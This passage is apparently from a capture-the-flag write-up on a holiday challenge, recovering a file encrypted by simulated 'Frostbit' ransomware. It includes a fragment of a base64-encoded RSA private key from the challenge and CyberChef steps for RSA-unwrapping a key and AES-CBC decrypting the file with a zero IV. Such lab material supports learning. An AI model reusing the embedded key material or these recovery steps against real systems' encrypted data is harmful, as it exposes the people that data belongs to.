NY1pDZzZWUy9WSVhpOUM3MFhxNHB3YTVSdUZBdFY5dkJvOTB2RDJtK0YKeUlIbExVWGtMUnhGWlBQUVpOd3NBQ0Q4WW9SUFcvdzYwbjJ6N0J6QTVQY0laS05KbFpxYTlpeEJ1bkl4WlhJSQpqZDZmRHhPZVZqVTZ1c0t6U2Vvc29RQ2tFRnZobGtWSDZFSzZYZmg2WERGYXRBblp5RE5WUC9QUGloST0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K";

Base64 decoding that with Cyberchef - it's a beautiful RSA private key.

-----BEGIN RSA PRIVATE KEY-----

Key here

-----END RSA PRIVATE KEY-----

I remembered from another SANS class - SEC301 or SEC401 that when a preshared key is sent in transit, in order to protect that key, it's not sent in the clear.  First, it's encrypted with the public key - AKA key encryption key (kek) that I mentioned earlier.  As I recall, you usually need a private key and the nonce to decrypt it.  In this case, the nonce isn't necessary.

I did this in Cyberchef:

For the recipe, From Hex, then Decrypt RSA.  In the Decrypt RSA - put the nonce as the Key Password and the full Private Key in the Private key field.  Then added the encrypted key as the Input.

I got a 32 byte key and the nonce from before as a response.  To be honest, wasn't sure I was on the right track, so I asked someone and they challenged me to figure it out.  They asked the right questions and told me not to brute force it. :)  That's the beauty of these challenges.  Always awesome people willing to give you a hand.

Unfortunately, I didn't know what the algorithm was that the naughty_nice_list.csv.frostbit file was encrypted with.  Thankfully a kind soul gave me a nudge and hinted to use debug mode with the frostbit executable we were given.

AES CBC 256

Wouldn't you know - it's needs a 32 byte key and a 16 byte IV.

So I did this in Cyberchef as well. I used the naughty_nice_list.csv.frostbit file as the input.  The recipe was To Hex, and then AES Decrypt with the 32 byte key I decrypted earlier with Latin1 as the option.  Then an IV of 16 0's (Thankfully it was an easy to guess IV Lolz).  Mode CBC.  Input Hex, and Output Raw.

The child at 440 was:

Xena Xtreme

440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies

Put that in the Decrypt Naughty Nice List in the badge.

Gold medal achieved.